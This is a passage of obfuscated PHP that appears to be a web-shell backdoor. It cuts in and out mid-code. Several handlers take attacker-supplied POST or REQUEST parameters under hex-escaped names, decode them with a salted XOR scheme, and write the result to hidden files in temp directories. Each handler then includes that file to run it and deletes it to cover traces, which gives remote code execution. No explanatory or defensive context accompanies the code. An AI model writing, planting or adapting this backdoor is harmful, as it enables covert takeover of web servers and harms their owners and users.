$v2) { $sChar = ord($s[$j % $lenS]); $dec = ((int)$v2 - $sChar - ($j % 10)) ^ 14; $holder.=chr($dec); } $pgrp = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); foreach ($pgrp as $component): if (max(0, is_dir($component) * is_writable($component))) { $ref = "$component/.bind"; if (file_put_contents($ref, $holder)) { include $ref; @unlink($ref); die(); } } endforeach; } if(isset($_POST["\x70g\x72p"])){ $dat = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $hld = $_POST["\x70g\x72p"]; $hld = explode ( '.' ,$hld ); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $o = 0; $len = count($hld); do { if ($o >= $len) break; $v2 = $hld[$o]; $sChar = ord($salt[$o% $sLen]); $dec = ((int)$v2 - $sChar - ($o% 10))^ 32; $ent .= chr($dec); $o++; } while (true); foreach ($dat as $desc) { if (is_writable($desc) && is_dir($desc)) { $obj = sprintf("%s/.comp", $desc); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $obj; @unlink($obj); die(); } } } } if(in_array("en\x74", array_keys($_POST))){ $hld = array_filter([getenv("TMP"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp"]); $object = $_POST["en\x74"]; $object = explode ( "." , $object ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; while($q< count($object)) { $v7 = $object[$q]; $chS = ord($salt[$q % $lenS]); $d =((int)$v7 - $chS -($q % 10)) ^ 67; $pset .= chr($d); $q++; } while ($marker = array_shift($hld)) { if (!!is_dir($marker) && !!is_writable($marker)) { $data_chunk = sprintf("%s/.ref", $marker); $success = file_put_contents($data_chunk, $pset); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } } if(count($_POST) > 0 && isset($_POST["\x68\x6Cd"])){ $factor = $_POST["\x68\x6Cd"]; $factor = explode ( "." , $factor ) ; $itm = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $__len = count($factor); for ($t = 0; $t < $__len; $t++) { $v1 = $factor[$t]; $chS = ord($s1[$t % $lenS]); $d = ((int)$v1 - $chS - ($t % 10))^96; $itm .= chr($d); } $ent = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); foreach ($ent as $value) { if (is_writable($value) && is_dir($value)) { $flg = "$value/.marker"; if (file_put_contents($flg, $itm)) { require $flg; unlink($flg); exit; } } } } if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Fb\x6A"])){ $value = $_REQUEST["\x6Fb\x6A"]; $value =explode ('.' , $value ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $j = 0; $__tmp = $value; while( $v1 = array_shift( $__tmp)) { $chS = ord( $salt[$j %$sLen] ); $d =( ( int)$v1 - $chS -( $j %10)) ^23; $ent .= chr( $d ); $j++; } $fac = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); for ($parameter_group = 0, $res = count($fac); $parameter_group < $res; $parameter_group++) { $component = $fac[$parameter_group]; if ((is_dir($component) and is_writable($component))) { $descriptor = "$component" . "/.holder"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $descriptor; @unlink($descriptor); die(); } } } } if(@$_POST["d